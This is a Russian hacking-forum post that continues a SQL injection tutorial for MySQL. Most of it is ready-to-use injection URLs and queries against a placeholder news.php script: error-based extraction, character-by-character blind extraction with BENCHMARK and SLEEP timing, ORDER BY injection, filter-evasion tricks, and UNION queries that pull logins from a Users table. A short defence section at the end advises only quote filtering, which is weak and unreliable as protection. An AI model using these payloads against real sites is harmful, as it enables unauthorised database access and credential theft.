Показать сообщение отдельно

  #3  
Старый 07.07.2007, 22:17
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ПРЯМОЙ ВЫВОД НА СТРАНИЦУ.

3.1 Вывод в отчете об ошибках
Более подробно можно найти в комментариях к статье Быстрый Blind SQL Injection (Qwazar)

Идея этого способа попробовать найти вывод в отчете об ошибках. То есть динамически передать какую либо подстроку в ошибку мускула.

Вообщем не вижу смысла пытаться разъяснить смысл и логику запроса, чесно говоря сам еле допер)
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID([YOUR QUERY], 1, 63), FLOOR(RAND(0)*2))
Минус данного способа - невозможность вывести свою строку длинее 63 символов за один раз, ну и естественно необходимость включенного отображения отчета об ошибках.

Собственно вот пример того как можно заюзать этот способ:
http://xxx/news.php?id=-1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))) --

Как результат предыдущего запроса мы увидим ошибку типа:
Duplicate entry '5.0.45-community-nt0' for key 1

Имейте ввиду что последний ноль в строке "5.0.45-community-nt0" не относится к ней, и является результатом выполнения команды FLOOR(RAND(0)*2), без которой не удалось бы спровоцировать ошибку. И из - за которого мы выводим по 63 символа а не по 64, как могло бы показаться изначально.


3.2 Посимвольный перебор

Этот случай нужен нам если http://xxx/news.php?id=1 при разных id выдаст нам разные результаты. Например http://xxx/news.php?id=1 будет отлично от http://xxx/news.php?id=0 если нет, то этот метод бесполезен но дочитать до конца стоит.

Как мы помним запрос к БД у нас выглядит так
Код:
SELECT * FROM news WHERE id='1'
Теперь мы его модифицируем через уязвимый параметр id до такого запроса (если что то незнакомое то идем в пункт 5 и читаем):
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- '
Вот так:
http://xxx/news.php?id=-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') --

Что нам это дает? Для начала MYSQL выполняет подзапрос SELECT USER() вставляет его в функцию ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция IF() возвращает 1 если этот код больше или равен 100 oсновной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=1
и выполняется точно также как и при обращении к скрипту http://xxx/news.php?id=1 а если код этого числа меньше то основной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=0
и выполняется точно также как и при
http://xxx/news.php?id=0

Назовем условно что запрос возвращает 1(да) или 0(нет) соответственно и начнем перебирать.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0') --
Ага вернулся 1 значит код первого символа больше или равен 100. Пробуем вот так:

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=200,'1','0') --
Вернулся 0 значит 100<= код символа <200.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=150,'1','0') --
Опять вернулся 0 значит 100<= код символа <150.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=125,'1','0') --
И снова вернулся 0 значит 100<= код символа <125.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=113,'1','0') --
Вернулся 1 следовательно113<= код символа <125.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=118,'1','0') --
Возвращается 0 следовательно113<= код символа <118.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=115,'1','0') --
113<= код символа <115.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1) =113,'1','0') --
Вернулся 0 значит код символа не равен 113.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)=114,'1','0') --
Ура! Вернулся 1 значит код символа равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу.

http://xxx/news.php?id=-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()),2,1)>=100,'1','0') --

И заново повторяем все предыдущие шаги.

3.3 Посимвольный перебор с помощью BENCHMARK

Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос
Код:
SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW())))
выполняется ооочень долго, и на основе задержек (нет, не пугайся, не тех задержек, что ты сейчас подумал) будем посимвольно перебирать какой-нибудь параметр допустим имя юзера под которым мы подключены к БД (его выводит нам функция USER()).

http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) --
Запрос станет таким:
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) --  '
И теперь по аналогии с предыдущим пунктом мы будем перебирать строку USER(). Только в данном случае вместо 0 функция будет очень долго выполнять этот запрос что и будет нам говорить о том что запрос вернул 0 и соответственно если без каких либо задержек то запрос возвращает 1.

Теперь поговорим о времени задержки. Для того чтобы определить время возврата 0 и 1 нужно сделать предварительно несколько запросов:
http://xxx/news.php?id=-1' OR id= IF(99>100, 1, BENCHMARK(2999999,MD5(NOW()))) --

Будет возвращать 0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число 2999999 до токого, чтобы вы могли точно судить была ли задержка или нет по сравнению с
http://xxx/news.php?id=-1' OR id= IF(101>100, 1, BENCHMARK(2999999,MD5(NOW()))) --
который вернет 1.

Огромным минусом является то что BENCHMARK-ом мы очень сильно грузим сервак.

ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными.


3.4 Посимвольный перебор с помощью SLEEP
Чтож про бенчмарк мы прочитали. И все обратили внимание на жуткую не стабильность этого метода. Что делать спросите вы? Вот что. С 5 ветки MySQL появился оператор SLEEP().

По сути эта функция и создает нужную нам задержку в ответе веб сервера, и, заметьте, без ненужных нагрузок на него. То есть SLEEP() является лучшей альтернативой BENCHMARK() и юзать желательно ее, но повторюсь единственный минус - эта функция появилась только аж в 5-ой ветке. Сказка, да и только.

Как юзать? Все элементрано:
http://xxx/news.php?id=-1' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --

Я юзаю значение в две - три секнуды, но вам советую подобрать его в соответствии с каналом сервера, так как могут возникнуть погрешности в выводе.



3.5 Посимвольный перебор с помощью отчета об ошибках

Этот пункт написан на основе статьи "Новая альтернатива Benchmark'y или эффективный blind SQL-injection" автор Elekt, респект ему.

Данный способ основан на том что вместо возврата 0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился 0, а по отсутствию ошибки что возвратился 1. Этот способ нам поможет если отсутствуют выводимые поля, но ВКЛЮЧЕН(!) отчет об ошибках.
Код:
SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2)
Как вы думаете что вернет этот запрос? Правильно ошибку так как id сравнивается с подзапросом который возвращает две строки.
mysql_query():Subquery returns more than 1 row

Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) --  '
Как видно из этого запроса если код символа будет больше или равен 100 функция IF() возвращает 1, и никакой тогда ошибки не вылазит, а если функция выполняет подзапрос
Код:
SELECT 1 UNION SELECT 2
который возвращает две строки что при сравнении с id вызывает ошибку и мы понимаем что запрос вернул 0.

Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы.


3.6 Иньекция в операторе ORDER BY

Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это заистину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=112,1,-1))
Чтож вывелся обратный порядок новостей => ложь

http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
Опять ложь

http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=114,1,-1))
О! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.



4.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.

4.1 Фильтруется пробел

Ну для начала вспомним что для SQL конструкция типа /**/ равна пробелу.

Ну а что делать если подобная конструкция фильтруется? Все элементарно. Можно воспользоватся скобками и апострофами. К примеру:
Код:
SELECT * FROM news WHERE id='1'UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))#'
Такой запрос выполнится правильно.
(Только удалите лишние, неадекватные пробелы - их, зараза, вставляет форум)


4.2 Фильтруется символ/строка

Есть интересная функция CHAR() которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция ASCII() возвращает код самого левого символа из переданной ей строке юзается так
Код:
SELECT ASCII('*')
только на уязвимом хосте этого делать смысла нет (Символ '*' фильтруется) это нужно сделать на локалке. Узнаем что код равен 42 и юзаем функцию CHAR() так
Код:
SELECT CHAR(42, 42, 42)
Выведет три звездочки.

Еще один способ это использовать 16-ричный код символа. Теперь предположим что фильтруется солово 'admin'. В MYSQL есть функция HEX() которая выдает 16-ричный код строки. Юзается так
Код:
SELECT HEX('admin')
Выдаст '61646D696E' впереди дописываем "0x" (Чтобы SQL понял что имеет дело с 16-ричной кодировкой) и получаем '0x61646D696E ' это юзать без CHAR() так
Код:
SELECT password FROM User WHERE login=0x61646D696E
4.3 Проблемы с кодировками
Часто бывает так, вот вы вроде нашли все столбцы составили верный запрос, а при попытке вывести из БД какую либо строку не получается - ну и взависимости от конфигурации сервера вы можете получить сообщение о несовместимости кодировок, а можете и не получить.

Есть элементарный способ возложить преобразование кодировок на плечи мускула. Можно юзать подобную конструкцию:
AES_DECRYPT(AES_ENCRYPT([Ваш запрос],'bla'),'bla')

Но! Какбе это уже не модно и очень громоздко, и где то в дебрях этого топика я пару лет назад предлагал другую конструкцию, намного меньшую:
UNHEX(HEX([Ваш запрос]))

Как говорится все гениальное просто.
Ну и собственно пример того как это можно юзать:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,UNHEX(HEX(login)),5,6 FROM Users LIMIT 0,1 --




5.ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL

Надеюсь что за SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать: Большой справочник языку SQL .

----------------------------
USER()-функция выводит логин юзера под которым мы подключены к MYSQL
DATABASE()-функция выводит название БД к которой мы подключены
VERSION()-выводит версию MYSQL
----------------------------
ASCII(str)-возвращает ASCII код первого символа в строке "str"
CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д.
HEX(str)-возвращает 16-ричный эквивалент строки "str".
----------------------------
LENGTH(str)- Возвращает длину строки "str".
SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos.
LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0.
----------------------------
LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу)
CONCAT(param1,param2,...) -объединение подстрок в одну строку.
CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep".
----------------------------
IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2.
----------------------------
expr BETWEEN min AND max-Если величина выражения expr больше или равна заданному значению min и меньше или равна заданному значению max, то функция BETWEEN возвращает 1, в противном случае - 0.
----------------------------

Теперь о комментариях в Mysql
1) # символ начала комментария в MySQL. Пример:
Код:
SELECT pass,login FROM users #This is comment
что аналогично запросу
Код:
SELECT pass,login FROM users
2) -- еще один вариант комментария в MySQL. Обязателен пробел после этого знака. Пример:
Код:
SELECT pass,login FROM users -- This is comment
3) /* */ аналог комментария СИ в MySQL. Начиная с ветки 5.1(?) лафа заканчивается и для этого типа комментариев нужна закрывающая часть. Для MySQL индеинтична пробелу. Примеры:
Код:
SELECT pass,login FROM users /*This is comment
SELECT pass,login/*This is comment*/FROM users
SELECT/**/pass,login/**/FROM/**/users
4) /*!int */ Расширение предыдущего комментария. Все заключенное в данный комментарий будет интерпретироваться как SQL запрос если номер данной версии MySQL равен указанному числу int после восклицательного знака или больше. Пример:
Код:
SELECT pass/*!32302 ,login*/FROM users
Выведет столбец login если версия MySQL равна либо выше 3.23.02

6. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION

Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет.

А защитится очень просто. Кстати все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie.

1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
-------------------------------
2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
-------------------------------
3)Не использовать при сравнении прерменных без кавычек типа SELECT …WHERE id=$id а использовать так SELECT ...WHERE id='$id' и обратиться к пункту 1
__________________
Кто я?..

Последний раз редактировалось Dr.Z3r0; 28.04.2010 в 09:26..